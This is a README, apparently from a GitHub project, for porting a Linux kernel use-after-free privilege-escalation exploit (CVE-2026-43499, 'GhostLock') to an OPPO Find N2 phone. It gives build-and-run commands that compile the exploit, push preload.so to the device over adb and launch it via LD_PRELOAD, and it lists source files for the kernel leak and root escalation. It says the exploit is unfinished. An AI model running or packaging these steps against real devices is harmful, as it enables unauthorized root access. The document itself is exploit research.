
OPPO Find N2 GhostLock (CVE-2026-43499) exploit adaptation
GhostLock CVE-2026-43499 — OPPO Find N2 Linux Kernel Privilege Escalation Research
GhostLock (CVE-2026-43499) is a kernel stack UAF vulnerability affecting Linux 2.6.39 through 7.1-rc1, triggered via a FUTEX_CMP_REQUEUE_PI race condition. This project ports the x86_64 exploit from NebuSec/CyberMeowfia to the OPPO Find N2 (ARM64, kernel 5.10.236).
In Progress — Multiple exploitation stages have been verified, but the core blocking points (CFI bypass / kernel write primitive) have not yet been overcome.
FUTEX_CMP_REQUEUE_PI ret=0# 1. Clone the repository
git clone https://github.com/pubglite55/oppo-ghostlock.git
cd oppo-ghostlock
# 2. Set NDK path
export NDK=/usr/local/Caskroom/android-ndk/29/AndroidNDK14206865.app/Contents/NDK
# 3. Build the exploit
cd exploit/
make clean && make NDK=$NDK
# 4. Push to device
adb push preload.so /data/local/tmp/
# 5. Run
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/ls /dev/null' 2>&1
oppo-ghostlock/
├── exploit/
│ ├── src/
│ │ ├── main.c # Main entry, GhostLock trigger
│ │ ├── fops.c # pselect fake lock + kernel base leak
│ │ ├── pipe.c # pipe physical read/write
│ │ ├── root.c # root privilege escalation
│ │ ├── util.c # utility functions
│ │ └── kernelsnitch/ # mm_struct leak
│ ├── targets/ # device offset definitions
│ └── Makefile
└── README.md
This project is licensed under the MIT License.